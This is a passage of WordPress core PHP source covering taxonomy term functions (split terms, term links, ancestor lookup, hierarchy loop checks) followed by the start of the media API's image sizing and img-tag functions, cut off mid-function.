		if ( (int) get_option( $option, -1 ) === $term_id ) {
			update_option( $option, $new_term_id );
		}
	}
}

/**
 * Checks menu items when a term gets split to see if any of them need to be updated.
 *
 * @ignore
 * @since 4.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $term_id          ID of the formerly shared term.
 * @param int    $new_term_id      ID of the new term created for the $term_taxonomy_id.
 * @param int    $term_taxonomy_id ID for the term_taxonomy row affected by the split.
 * @param string $taxonomy         Taxonomy for the split term.
 */
function _wp_check_split_terms_in_menus( $term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) {
	global $wpdb;
	$post_ids = $wpdb->get_col(
		$wpdb->prepare(
			"SELECT m1.post_id
		FROM {$wpdb->postmeta} AS m1
			INNER JOIN {$wpdb->postmeta} AS m2 ON ( m2.post_id = m1.post_id )
			INNER JOIN {$wpdb->postmeta} AS m3 ON ( m3.post_id = m1.post_id )
		WHERE ( m1.meta_key = '_menu_item_type' AND m1.meta_value = 'taxonomy' )
			AND ( m2.meta_key = '_menu_item_object' AND m2.meta_value = %s )
			AND ( m3.meta_key = '_menu_item_object_id' AND m3.meta_value = %d )",
			$taxonomy,
			$term_id
		)
	);

	if ( $post_ids ) {
		foreach ( $post_ids as $post_id ) {
			update_post_meta( $post_id, '_menu_item_object_id', $new_term_id, $term_id );
		}
	}
}

/**
 * If the term being split is a nav_menu, changes associations.
 *
 * @ignore
 * @since 4.3.0
 *
 * @param int    $term_id          ID of the formerly shared term.
 * @param int    $new_term_id      ID of the new term created for the $term_taxonomy_id.
 * @param int    $term_taxonomy_id ID for the term_taxonomy row affected by the split.
 * @param string $taxonomy         Taxonomy for the split term.
 */
function _wp_check_split_nav_menu_terms( $term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) {
	if ( 'nav_menu' !== $taxonomy ) {
		return;
	}

	// Update menu locations.
	$locations = get_nav_menu_locations();
	foreach ( $locations as $location => $menu_id ) {
		if ( $term_id === $menu_id ) {
			$locations[ $location ] = $new_term_id;
		}
	}
	set_theme_mod( 'nav_menu_locations', $locations );
}

/**
 * Gets data about terms that previously shared a single term_id, but have since been split.
 *
 * @since 4.2.0
 *
 * @param int $old_term_id Term ID. This is the old, pre-split term ID.
 * @return array Array of new term IDs, keyed by taxonomy.
 */
function wp_get_split_terms( $old_term_id ) {
	$split_terms = get_option( '_split_terms', array() );

	$terms = array();
	if ( isset( $split_terms[ $old_term_id ] ) ) {
		$terms = $split_terms[ $old_term_id ];
	}

	return $terms;
}

/**
 * Gets the new term ID corresponding to a previously split term.
 *
 * @since 4.2.0
 *
 * @param int    $old_term_id Term ID. This is the old, pre-split term ID.
 * @param string $taxonomy    Taxonomy that the term belongs to.
 * @return int|false If a previously split term is found corresponding to the old term_id and taxonomy,
 *                   the new term_id will be returned. If no previously split term is found matching
 *                   the parameters, returns false.
 */
function wp_get_split_term( $old_term_id, $taxonomy ) {
	$split_terms = wp_get_split_terms( $old_term_id );

	$term_id = false;
	if ( isset( $split_terms[ $taxonomy ] ) ) {
		$term_id = (int) $split_terms[ $taxonomy ];
	}

	return $term_id;
}

/**
 * Determines whether a term is shared between multiple taxonomies.
 *
 * Shared taxonomy terms began to be split in 4.3, but failed cron tasks or
 * other delays in upgrade routines may cause shared terms to remain.
 *
 * @since 4.4.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $term_id Term ID.
 * @return bool Returns false if a term is not shared between multiple taxonomies or
 *              if splitting shared taxonomy terms is finished.
 */
function wp_term_is_shared( $term_id ) {
	global $wpdb;

	if ( get_option( 'finished_splitting_shared_terms' ) ) {
		return false;
	}

	$tt_count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE term_id = %d", $term_id ) );

	return $tt_count > 1;
}

/**
 * Generates a permalink for a taxonomy term archive.
 *
 * @since 2.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param WP_Term|int|string $term     The term object, ID, or slug whose link will be retrieved.
 * @param string             $taxonomy Optional. Taxonomy. Default empty.
 * @return string|WP_Error URL of the taxonomy term archive on success, WP_Error if term does not exist.
 */
function get_term_link( $term, $taxonomy = '' ) {
	global $wp_rewrite;

	if ( ! is_object( $term ) ) {
		if ( is_int( $term ) ) {
			$term = get_term( $term, $taxonomy );
		} else {
			$term = get_term_by( 'slug', $term, $taxonomy );
		}
	}

	if ( ! is_object( $term ) ) {
		$term = new WP_Error( 'invalid_term', __( 'Empty Term.' ) );
	}

	if ( is_wp_error( $term ) ) {
		return $term;
	}

	$taxonomy = $term->taxonomy;

	$termlink = $wp_rewrite->get_extra_permastruct( $taxonomy );

	/**
	 * Filters the permalink structure for a term before token replacement occurs.
	 *
	 * @since 4.9.0
	 *
	 * @param string  $termlink The permalink structure for the term's taxonomy.
	 * @param WP_Term $term     The term object.
	 */
	$termlink = apply_filters( 'pre_term_link', $termlink, $term );

	$slug = $term->slug;
	$t    = get_taxonomy( $taxonomy );

	if ( empty( $termlink ) ) {
		if ( 'category' === $taxonomy ) {
			$termlink = '?cat=' . $term->term_id;
		} elseif ( $t->query_var ) {
			$termlink = "?$t->query_var=$slug";
		} else {
			$termlink = "?taxonomy=$taxonomy&term=$slug";
		}
		$termlink = home_url( $termlink );
	} else {
		if ( ! empty( $t->rewrite['hierarchical'] ) ) {
			$hierarchical_slugs = array();
			$ancestors          = get_ancestors( $term->term_id, $taxonomy, 'taxonomy' );
			foreach ( (array) $ancestors as $ancestor ) {
				$ancestor_term        = get_term( $ancestor, $taxonomy );
				$hierarchical_slugs[] = $ancestor_term->slug;
			}
			$hierarchical_slugs   = array_reverse( $hierarchical_slugs );
			$hierarchical_slugs[] = $slug;
			$termlink             = str_replace( "%$taxonomy%", implode( '/', $hierarchical_slugs ), $termlink );
		} else {
			$termlink = str_replace( "%$taxonomy%", $slug, $termlink );
		}
		$termlink = home_url( user_trailingslashit( $termlink, 'category' ) );
	}

	// Back compat filters.
	if ( 'post_tag' === $taxonomy ) {

		/**
		 * Filters the tag link.
		 *
		 * @since 2.3.0
		 * @since 2.5.0 Deprecated in favor of {@see 'term_link'} filter.
		 * @since 5.4.1 Restored (un-deprecated).
		 *
		 * @param string $termlink Tag link URL.
		 * @param int    $term_id  Term ID.
		 */
		$termlink = apply_filters( 'tag_link', $termlink, $term->term_id );
	} elseif ( 'category' === $taxonomy ) {

		/**
		 * Filters the category link.
		 *
		 * @since 1.5.0
		 * @since 2.5.0 Deprecated in favor of {@see 'term_link'} filter.
		 * @since 5.4.1 Restored (un-deprecated).
		 *
		 * @param string $termlink Category link URL.
		 * @param int    $term_id  Term ID.
		 */
		$termlink = apply_filters( 'category_link', $termlink, $term->term_id );
	}

	/**
	 * Filters the term link.
	 *
	 * @since 2.5.0
	 *
	 * @param string  $termlink Term link URL.
	 * @param WP_Term $term     Term object.
	 * @param string  $taxonomy Taxonomy slug.
	 */
	return apply_filters( 'term_link', $termlink, $term, $taxonomy );
}

/**
 * Displays the taxonomies of a post with available options.
 *
 * This function can be used within the loop to display the taxonomies for a
 * post without specifying the Post ID. You can also use it outside the Loop to
 * display the taxonomies for a specific post.
 *
 * @since 2.5.0
 *
 * @param array $args {
 *     Arguments about which post to use and how to format the output. Shares all of the arguments
 *     supported by get_the_taxonomies(), in addition to the following.
 *
 *     @type int|WP_Post $post   Post ID or object to get taxonomies of. Default current post.
 *     @type string      $before Displays before the taxonomies. Default empty string.
 *     @type string      $sep    Separates each taxonomy. Default is a space.
 *     @type string      $after  Displays after the taxonomies. Default empty string.
 * }
 */
function the_taxonomies( $args = array() ) {
	$defaults = array(
		'post'   => 0,
		'before' => '',
		'sep'    => ' ',
		'after'  => '',
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	echo $parsed_args['before'] . implode( $parsed_args['sep'], get_the_taxonomies( $parsed_args['post'], $parsed_args ) ) . $parsed_args['after'];
}

/**
 * Retrieves all taxonomies associated with a post.
 *
 * This function can be used within the loop. It will also return an array of
 * the taxonomies with links to the taxonomy and name.
 *
 * @since 2.5.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @param array       $args {
 *           Optional. Arguments about how to format the list of taxonomies. Default empty array.
 *
 *     @type string $template      Template for displaying a taxonomy label and list of terms.
 *                                 Default is "Label: Terms."
 *     @type string $term_template Template for displaying a single term in the list. Default is the term name
 *                                 linked to its archive.
 * }
 * @return string[] List of taxonomies.
 */
function get_the_taxonomies( $post = 0, $args = array() ) {
	$post = get_post( $post );

	$args = wp_parse_args(
		$args,
		array(
			/* translators: %s: Taxonomy label, %l: List of terms formatted as per $term_template. */
			'template'      => __( '%s: %l.' ),
			'term_template' => '<a href="%1$s">%2$s</a>',
		)
	);

	$taxonomies = array();

	if ( ! $post ) {
		return $taxonomies;
	}

	foreach ( get_object_taxonomies( $post ) as $taxonomy ) {
		$t = (array) get_taxonomy( $taxonomy );
		if ( empty( $t['label'] ) ) {
			$t['label'] = $taxonomy;
		}
		if ( empty( $t['args'] ) ) {
			$t['args'] = array();
		}
		if ( empty( $t['template'] ) ) {
			$t['template'] = $args['template'];
		}
		if ( empty( $t['term_template'] ) ) {
			$t['term_template'] = $args['term_template'];
		}

		$terms = get_object_term_cache( $post->ID, $taxonomy );
		if ( false === $terms ) {
			$terms = wp_get_object_terms( $post->ID, $taxonomy, $t['args'] );
		}
		$links = array();

		foreach ( $terms as $term ) {
			$links[] = wp_sprintf( $t['term_template'], esc_attr( get_term_link( $term ) ), $term->name );
		}
		if ( $links ) {
			$taxonomies[ $taxonomy ] = wp_sprintf( $t['template'], $t['label'], $links, $terms );
		}
	}
	return $taxonomies;
}

/**
 * Retrieves all taxonomy names for the given post.
 *
 * @since 2.5.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return string[] An array of all taxonomy names for the given post.
 */
function get_post_taxonomies( $post = 0 ) {
	$post = get_post( $post );

	return get_object_taxonomies( $post );
}

/**
 * Determines if the given object is associated with any of the given terms.
 *
 * The given terms are checked against the object's terms' term_ids, names and slugs.
 * Terms given as integers will only be checked against the object's terms' term_ids.
 * If no terms are given, determines if object is associated with any terms in the given taxonomy.
 *
 * @since 2.7.0
 *
 * @param int                       $object_id ID of the object (post ID, link ID, ...).
 * @param string                    $taxonomy  Single taxonomy name.
 * @param int|string|int[]|string[] $terms     Optional. Term ID, name, slug, or array of such
 *                                             to check against. Default null.
 * @return bool|WP_Error WP_Error on input error.
 */
function is_object_in_term( $object_id, $taxonomy, $terms = null ) {
	$object_id = (int) $object_id;
	if ( ! $object_id ) {
		return new WP_Error( 'invalid_object', __( 'Invalid object ID.' ) );
	}

	$object_terms = get_object_term_cache( $object_id, $taxonomy );
	if ( false === $object_terms ) {
		$object_terms = wp_get_object_terms( $object_id, $taxonomy, array( 'update_term_meta_cache' => false ) );
		if ( is_wp_error( $object_terms ) ) {
			return $object_terms;
		}

		wp_cache_set( $object_id, wp_list_pluck( $object_terms, 'term_id' ), "{$taxonomy}_relationships" );
	}

	if ( is_wp_error( $object_terms ) ) {
		return $object_terms;
	}
	if ( empty( $object_terms ) ) {
		return false;
	}
	if ( empty( $terms ) ) {
		return ( ! empty( $object_terms ) );
	}

	$terms = (array) $terms;

	$ints = array_filter( $terms, 'is_int' );
	if ( $ints ) {
		$strs = array_diff( $terms, $ints );
	} else {
		$strs =& $terms;
	}

	foreach ( $object_terms as $object_term ) {
		// If term is an int, check against term_ids only.
		if ( $ints && in_array( $object_term->term_id, $ints, true ) ) {
			return true;
		}

		if ( $strs ) {
			// Only check numeric strings against term_id, to avoid false matches due to type juggling.
			$numeric_strs = array_map( 'intval', array_filter( $strs, 'is_numeric' ) );
			if ( in_array( $object_term->term_id, $numeric_strs, true ) ) {
				return true;
			}

			if ( in_array( $object_term->name, $strs, true ) ) {
				return true;
			}
			if ( in_array( $object_term->slug, $strs, true ) ) {
				return true;
			}
		}
	}

	return false;
}

/**
 * Determines if the given object type is associated with the given taxonomy.
 *
 * @since 3.0.0
 *
 * @param string $object_type Object type string.
 * @param string $taxonomy    Single taxonomy name.
 * @return bool True if object is associated with the taxonomy, otherwise false.
 */
function is_object_in_taxonomy( $object_type, $taxonomy ) {
	$taxonomies = get_object_taxonomies( $object_type );
	if ( empty( $taxonomies ) ) {
		return false;
	}
	return in_array( $taxonomy, $taxonomies, true );
}

/**
 * Gets an array of ancestor IDs for a given object.
 *
 * @since 3.1.0
 * @since 4.1.0 Introduced the `$resource_type` argument.
 *
 * @param int    $object_id     Optional. The ID of the object. Default 0.
 * @param string $object_type   Optional. The type of object for which we'll be retrieving
 *                              ancestors. Accepts a post type or a taxonomy name. Default empty.
 * @param string $resource_type Optional. Type of resource $object_type is. Accepts 'post_type'
 *                              or 'taxonomy'. Default empty.
 * @return int[] An array of IDs of ancestors from lowest to highest in the hierarchy.
 */
function get_ancestors( $object_id = 0, $object_type = '', $resource_type = '' ) {
	$object_id = (int) $object_id;

	$ancestors = array();

	if ( empty( $object_id ) ) {

		/** This filter is documented in wp-includes/taxonomy.php */
		return apply_filters( 'get_ancestors', $ancestors, $object_id, $object_type, $resource_type );
	}

	if ( ! $resource_type ) {
		if ( is_taxonomy_hierarchical( $object_type ) ) {
			$resource_type = 'taxonomy';
		} elseif ( post_type_exists( $object_type ) ) {
			$resource_type = 'post_type';
		}
	}

	if ( 'taxonomy' === $resource_type ) {
		$term = get_term( $object_id, $object_type );
		while ( ! is_wp_error( $term ) && ! empty( $term->parent ) && ! in_array( $term->parent, $ancestors, true ) ) {
			$ancestors[] = (int) $term->parent;
			$term        = get_term( $term->parent, $object_type );
		}
	} elseif ( 'post_type' === $resource_type ) {
		$ancestors = get_post_ancestors( $object_id );
	}

	/**
	 * Filters a given object's ancestors.
	 *
	 * @since 3.1.0
	 * @since 4.1.1 Introduced the `$resource_type` parameter.
	 *
	 * @param int[]  $ancestors     An array of IDs of object ancestors.
	 * @param int    $object_id     Object ID.
	 * @param string $object_type   Type of object.
	 * @param string $resource_type Type of resource $object_type is.
	 */
	return apply_filters( 'get_ancestors', $ancestors, $object_id, $object_type, $resource_type );
}

/**
 * Returns the term's parent's term ID.
 *
 * @since 3.1.0
 *
 * @param int    $term_id  Term ID.
 * @param string $taxonomy Taxonomy name.
 * @return int|false Parent term ID on success, false on failure.
 */
function wp_get_term_taxonomy_parent_id( $term_id, $taxonomy ) {
	$term = get_term( $term_id, $taxonomy );
	if ( ! $term || is_wp_error( $term ) ) {
		return false;
	}
	return (int) $term->parent;
}

/**
 * Checks the given subset of the term hierarchy for hierarchy loops.
 * Prevents loops from forming and breaks those that it finds.
 *
 * Attached to the {@see 'wp_update_term_parent'} filter.
 *
 * @since 3.1.0
 *
 * @param int    $parent_term `term_id` of the parent for the term we're checking.
 * @param int    $term_id     The term we're checking.
 * @param string $taxonomy    The taxonomy of the term we're checking.
 * @return int The new parent for the term.
 */
function wp_check_term_hierarchy_for_loops( $parent_term, $term_id, $taxonomy ) {
	// Nothing fancy here - bail.
	if ( ! $parent_term ) {
		return 0;
	}

	// Can't be its own parent.
	if ( $parent_term === $term_id ) {
		return 0;
	}

	// Now look for larger loops.
	$loop = wp_find_hierarchy_loop( 'wp_get_term_taxonomy_parent_id', $term_id, $parent_term, array( $taxonomy ) );
	if ( ! $loop ) {
		return $parent_term; // No loop.
	}

	// Setting $parent_term to the given value causes a loop.
	if ( isset( $loop[ $term_id ] ) ) {
		return 0;
	}

	// There's a loop, but it doesn't contain $term_id. Break the loop.
	foreach ( array_keys( $loop ) as $loop_member ) {
		wp_update_term( $loop_member, $taxonomy, array( 'parent' => 0 ) );
	}

	return $parent_term;
}

/**
 * Determines whether a taxonomy is considered "viewable".
 *
 * @since 5.1.0
 *
 * @param string|WP_Taxonomy $taxonomy Taxonomy name or object.
 * @return bool Whether the taxonomy should be considered viewable.
 */
function is_taxonomy_viewable( $taxonomy ) {
	if ( is_scalar( $taxonomy ) ) {
		$taxonomy = get_taxonomy( $taxonomy );
		if ( ! $taxonomy ) {
			return false;
		}
	}

	return $taxonomy->publicly_queryable;
}

/**
 * Determines whether a term is publicly viewable.
 *
 * A term is considered publicly viewable if its taxonomy is viewable.
 *
 * @since 6.1.0
 *
 * @param int|WP_Term $term Term ID or term object.
 * @return bool Whether the term is publicly viewable.
 */
function is_term_publicly_viewable( $term ) {
	$term = get_term( $term );

	if ( ! $term ) {
		return false;
	}

	return is_taxonomy_viewable( $term->taxonomy );
}

/**
 * Sets the last changed time for the 'terms' cache group.
 *
 * @since 5.0.0
 */
function wp_cache_set_terms_last_changed() {
	wp_cache_set_last_changed( 'terms' );
}

/**
 * Aborts calls to term meta if it is not supported.
 *
 * @since 5.0.0
 *
 * @param mixed $check Skip-value for whether to proceed term meta function execution.
 * @return mixed Original value of $check, or false if term meta is not supported.
 */
function wp_check_term_meta_support_prefilter( $check ) {
	if ( get_option( 'db_version' ) < 34370 ) {
		return false;
	}

	return $check;
}
<?php
/**
 * WordPress API for media display.
 *
 * @package WordPress
 * @subpackage Media
 */

/**
 * Retrieves additional image sizes.
 *
 * @since 4.7.0
 *
 * @global array $_wp_additional_image_sizes
 *
 * @return array Additional images size data.
 */
function wp_get_additional_image_sizes() {
	global $_wp_additional_image_sizes;

	if ( ! $_wp_additional_image_sizes ) {
		$_wp_additional_image_sizes = array();
	}

	return $_wp_additional_image_sizes;
}

/**
 * Scales down the default size of an image.
 *
 * This is so that the image is a better fit for the editor and theme.
 *
 * The `$size` parameter accepts either an array or a string. The supported string
 * values are 'thumb' or 'thumbnail' for the given thumbnail size or defaults at
 * 128 width and 96 height in pixels. Also supported for the string value is
 * 'medium', 'medium_large' and 'full'. The 'full' isn't actually supported, but any value other
 * than the supported will result in the content_width size or 500 if that is
 * not set.
 *
 * Finally, there is a filter named {@see 'editor_max_image_size'}, that will be
 * called on the calculated array for width and height, respectively.
 *
 * @since 2.5.0
 *
 * @global int $content_width
 *
 * @param int          $width   Width of the image in pixels.
 * @param int          $height  Height of the image in pixels.
 * @param string|int[] $size    Optional. Image size. Accepts any registered image size name, or an array
 *                              of width and height values in pixels (in that order). Default 'medium'.
 * @param string       $context Optional. Could be 'display' (like in a theme) or 'edit'
 *                              (like inserting into an editor). Default null.
 * @return int[] {
 *     An array of width and height values.
 *
 *     @type int $0 The maximum width in pixels.
 *     @type int $1 The maximum height in pixels.
 * }
 */
function image_constrain_size_for_editor( $width, $height, $size = 'medium', $context = null ) {
	global $content_width;

	$_wp_additional_image_sizes = wp_get_additional_image_sizes();

	if ( ! $context ) {
		$context = is_admin() ? 'edit' : 'display';
	}

	if ( is_array( $size ) ) {
		$max_width  = $size[0];
		$max_height = $size[1];
	} elseif ( 'thumb' === $size || 'thumbnail' === $size ) {
		$max_width  = (int) get_option( 'thumbnail_size_w' );
		$max_height = (int) get_option( 'thumbnail_size_h' );
		// Last chance thumbnail size defaults.
		if ( ! $max_width && ! $max_height ) {
			$max_width  = 128;
			$max_height = 96;
		}
	} elseif ( 'medium' === $size ) {
		$max_width  = (int) get_option( 'medium_size_w' );
		$max_height = (int) get_option( 'medium_size_h' );

	} elseif ( 'medium_large' === $size ) {
		$max_width  = (int) get_option( 'medium_large_size_w' );
		$max_height = (int) get_option( 'medium_large_size_h' );

		if ( (int) $content_width > 0 ) {
			$max_width = min( (int) $content_width, $max_width );
		}
	} elseif ( 'large' === $size ) {
		/*
		 * We're inserting a large size image into the editor. If it's a really
		 * big image we'll scale it down to fit reasonably within the editor
		 * itself, and within the theme's content width if it's known. The user
		 * can resize it in the editor if they wish.
		 */
		$max_width  = (int) get_option( 'large_size_w' );
		$max_height = (int) get_option( 'large_size_h' );

		if ( (int) $content_width > 0 ) {
			$max_width = min( (int) $content_width, $max_width );
		}
	} elseif ( ! empty( $_wp_additional_image_sizes ) && in_array( $size, array_keys( $_wp_additional_image_sizes ), true ) ) {
		$max_width  = (int) $_wp_additional_image_sizes[ $size ]['width'];
		$max_height = (int) $_wp_additional_image_sizes[ $size ]['height'];
		// Only in admin. Assume that theme authors know what they're doing.
		if ( (int) $content_width > 0 && 'edit' === $context ) {
			$max_width = min( (int) $content_width, $max_width );
		}
	} else { // $size === 'full' has no constraint.
		$max_width  = $width;
		$max_height = $height;
	}

	/**
	 * Filters the maximum image size dimensions for the editor.
	 *
	 * @since 2.5.0
	 *
	 * @param int[]        $max_image_size {
	 *     An array of width and height values.
	 *
	 *     @type int $0 The maximum width in pixels.
	 *     @type int $1 The maximum height in pixels.
	 * }
	 * @param string|int[] $size     Requested image size. Can be any registered image size name, or
	 *                               an array of width and height values in pixels (in that order).
	 * @param string       $context  The context the image is being resized for.
	 *                               Possible values are 'display' (like in a theme)
	 *                               or 'edit' (like inserting into an editor).
	 */
	list( $max_width, $max_height ) = apply_filters( 'editor_max_image_size', array( $max_width, $max_height ), $size, $context );

	return wp_constrain_dimensions( $width, $height, $max_width, $max_height );
}

/**
 * Retrieves width and height attributes using given width and height values.
 *
 * Both attributes are required in the sense that both parameters must have a
 * value, but are optional in that if you set them to false or null, then they
 * will not be added to the returned string.
 *
 * You can set the value using a string, but it will only take numeric values.
 * If you wish to put 'px' after the numbers, then it will be stripped out of
 * the return.
 *
 * @since 2.5.0
 *
 * @param int|string $width  Image width in pixels.
 * @param int|string $height Image height in pixels.
 * @return string HTML attributes for width and, or height.
 */
function image_hwstring( $width, $height ) {
	$out = '';
	if ( $width ) {
		$out .= 'width="' . (int) $width . '" ';
	}
	if ( $height ) {
		$out .= 'height="' . (int) $height . '" ';
	}
	return $out;
}

/**
 * Scales an image to fit a particular size (such as 'thumb' or 'medium').
 *
 * The URL might be the original image, or it might be a resized version. This
 * function won't create a new resized copy, it will just return an already
 * resized one if it exists.
 *
 * A plugin may use the {@see 'image_downsize'} filter to hook into and offer image
 * resizing services for images. The hook must return an array with the same
 * elements that are normally returned from the function.
 *
 * @since 2.5.0
 *
 * @param int          $id   Attachment ID for image.
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'medium'.
 * @return array|false {
 *     Array of image data, or boolean false if no image is available.
 *
 *     @type string $0 Image source URL.
 *     @type int    $1 Image width in pixels.
 *     @type int    $2 Image height in pixels.
 *     @type bool   $3 Whether the image is a resized image.
 * }
 */
function image_downsize( $id, $size = 'medium' ) {
	$is_image = wp_attachment_is_image( $id );

	/**
	 * Filters whether to preempt the output of image_downsize().
	 *
	 * Returning a truthy value from the filter will effectively short-circuit
	 * down-sizing the image, returning that value instead.
	 *
	 * @since 2.5.0
	 *
	 * @param bool|array   $downsize Whether to short-circuit the image downsize.
	 * @param int          $id       Attachment ID for image.
	 * @param string|int[] $size     Requested image size. Can be any registered image size name, or
	 *                               an array of width and height values in pixels (in that order).
	 */
	$out = apply_filters( 'image_downsize', false, $id, $size );

	if ( $out ) {
		return $out;
	}

	$img_url          = wp_get_attachment_url( $id );
	$meta             = wp_get_attachment_metadata( $id );
	$width            = 0;
	$height           = 0;
	$is_intermediate  = false;
	$img_url_basename = wp_basename( $img_url );

	/*
	 * If the file isn't an image, attempt to replace its URL with a rendered image from its meta.
	 * Otherwise, a non-image type could be returned.
	 */
	if ( ! $is_image ) {
		if ( ! empty( $meta['sizes']['full'] ) ) {
			$img_url          = str_replace( $img_url_basename, $meta['sizes']['full']['file'], $img_url );
			$img_url_basename = $meta['sizes']['full']['file'];
			$width            = $meta['sizes']['full']['width'];
			$height           = $meta['sizes']['full']['height'];
		} else {
			return false;
		}
	}

	// Try for a new style intermediate size.
	$intermediate = image_get_intermediate_size( $id, $size );

	if ( $intermediate ) {
		$img_url         = str_replace( $img_url_basename, $intermediate['file'], $img_url );
		$width           = $intermediate['width'];
		$height          = $intermediate['height'];
		$is_intermediate = true;
	} elseif ( 'thumbnail' === $size && ! empty( $meta['thumb'] ) && is_string( $meta['thumb'] ) ) {
		// Fall back to the old thumbnail.
		$imagefile = get_attached_file( $id );
		$thumbfile = str_replace( wp_basename( $imagefile ), wp_basename( $meta['thumb'] ), $imagefile );

		if ( file_exists( $thumbfile ) ) {
			$info = wp_getimagesize( $thumbfile );

			if ( $info ) {
				$img_url         = str_replace( $img_url_basename, wp_basename( $thumbfile ), $img_url );
				$width           = $info[0];
				$height          = $info[1];
				$is_intermediate = true;
			}
		}
	}

	if ( ! $width && ! $height && isset( $meta['width'], $meta['height'] ) ) {
		// Any other type: use the real image.
		$width  = $meta['width'];
		$height = $meta['height'];
	}

	if ( $img_url ) {
		// We have the actual image size, but might need to further constrain it if content_width is narrower.
		list( $width, $height ) = image_constrain_size_for_editor( $width, $height, $size );

		return array( $img_url, $width, $height, $is_intermediate );
	}

	return false;
}

/**
 * Registers a new image size.
 *
 * @since 2.9.0
 *
 * @global array $_wp_additional_image_sizes Associative array of additional image sizes.
 *
 * @param string     $name   Image size identifier.
 * @param int        $width  Optional. Image width in pixels. Default 0.
 * @param int        $height Optional. Image height in pixels. Default 0.
 * @param bool|array $crop   {
 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
 *     If true, image will be cropped to the specified dimensions using center positions.
 *     If an array, the image will be cropped using the array to specify the crop location:
 *
 *     @type string $0 The x crop position. Accepts 'left' 'center', or 'right'.
 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
 * }
 */
function add_image_size( $name, $width = 0, $height = 0, $crop = false ) {
	global $_wp_additional_image_sizes;

	$_wp_additional_image_sizes[ $name ] = array(
		'width'  => absint( $width ),
		'height' => absint( $height ),
		'crop'   => $crop,
	);
}

/**
 * Checks if an image size exists.
 *
 * @since 3.9.0
 *
 * @param string $name The image size to check.
 * @return bool True if the image size exists, false if not.
 */
function has_image_size( $name ) {
	$sizes = wp_get_additional_image_sizes();
	return isset( $sizes[ $name ] );
}

/**
 * Removes a new image size.
 *
 * @since 3.9.0
 *
 * @global array $_wp_additional_image_sizes
 *
 * @param string $name The image size to remove.
 * @return bool True if the image size was successfully removed, false on failure.
 */
function remove_image_size( $name ) {
	global $_wp_additional_image_sizes;

	if ( isset( $_wp_additional_image_sizes[ $name ] ) ) {
		unset( $_wp_additional_image_sizes[ $name ] );
		return true;
	}

	return false;
}

/**
 * Registers an image size for the post thumbnail.
 *
 * @since 2.9.0
 *
 * @see add_image_size() for details on cropping behavior.
 *
 * @param int        $width  Image width in pixels.
 * @param int        $height Image height in pixels.
 * @param bool|array $crop   {
 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
 *     If true, image will be cropped to the specified dimensions using center positions.
 *     If an array, the image will be cropped using the array to specify the crop location:
 *
 *     @type string $0 The x crop position. Accepts 'left' 'center', or 'right'.
 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
 * }
 */
function set_post_thumbnail_size( $width = 0, $height = 0, $crop = false ) {
	add_image_size( 'post-thumbnail', $width, $height, $crop );
}

/**
 * Gets an img tag for an image attachment, scaling it down if requested.
 *
 * The {@see 'get_image_tag_class'} filter allows for changing the class name for the
 * image without having to use regular expressions on the HTML content. The
 * parameters are: what WordPress will use for the class, the Attachment ID,
 * image align value, and the size the image should be.
 *
 * The second filter, {@see 'get_image_tag'}, has the HTML content, which can then be
 * further manipulated by a plugin to change all attribute values and even HTML
 * content.
 *
 * @since 2.5.0
 *
 * @param int          $id    Attachment ID.
 * @param string       $alt   Image description for the alt attribute.
 * @param string       $title Image description for the title attribute.
 * @param string       $align Part of the class name for aligning the image.
 * @param string|int[] $size  Optional. Image size. Accepts any registered image size name, or an array of
 *                            width and height values in pixels (in that order). Default 'medium'.
 * @return string HTML IMG element for given image attachment.
 */
function get_image_tag( $id, $alt, $title, $align, $size = 'medium' ) {

	list( $img_src, $width, $height ) = image_downsize( $id, $size );
	$hwstring                         = image_hwstring( $width, $height );

	$title = $title ? 'title="' . esc_attr( $title ) . '" ' : '';

	$size_class = is_array( $size ) ? implode( 'x', $size ) : $size;
	$class      = 'align' . esc_attr( $align ) . ' size-' . esc_attr( $size_class ) . ' wp-image-' . $id;

	/**
	 * Filters the value of the attachment's image tag class attribute.
	 *
	 * @since 2.6.0
	 *
	 * @param string       $class CSS class name or space-separated list of classes.
	 * @param int          $id    Attachment ID.
	 * @param string       $align Part of the class name for aligning the image.
	 * @param string|int[] $size  Requested image size. Can be any registered image size name, or
	 *                            an array of width and height values in pixels (in that order).
	 */
	$class = apply_filters( 'get_image_tag_class', $class, $id, $align, $size );

	$html = '<img src="' . esc_url( $img_src ) . '" alt="' . esc_attr( $alt ) . '" ' . $title . $hwstring . 'class="' . $class . '" />';

	/**
	 * Filters the HTML content for the image tag.
	 *
	 * @since 2.6.0
	 *
	 * @param string       $html  HTML content for the image.
	 * @param int          $id    Attachment ID.
	 * @param string       $alt   Image description for the alt attribute.
	 * @param string       $title Image description for the title attribute.
	 * @param string       $align Part of the class name for aligning the image.
	 * @param string|int[] $size  Requested image size. Can be any registered image size name, or
	 *                            an array of width and height values in pixels (in that order).
	 */
	return apply_filters( 'get_image_tag', $html, $id, $alt, $title, $align, $size );
}

/**
 * Calculates the new dimensions for a down-sampled image.
 *
 * If either width or height are empty, no constraint is applied on
 * that dimension.
 *
 * @since 2.5.0
 *
 * @param int $current_width  Current width of the image.
 * @param int $current_height Current height of the image.
 * @param int $max_width      Optional. Max width in pixels to constrain to. Default 0.
 * @param int $max_height     Optional. Max height in pixels to constrain to. Default 0.
 * @return int[] {
 *     An array of width and height values.
 *
 *     @type int $0 The width in pixels.
 *     @type int $1 The height in pixels.
 * }
 */
function wp_constrain_dimensions( $current_width, $current_height, $max_width = 0, $max_height = 0 ) {
	if ( ! $max_width && ! $max_height ) {
		return array( $current_width, $current_height );
	}

	$width_ratio  = 1.0;
	$height_ratio = 1.0;
	$did_width    = false;
	$did_height   = false;

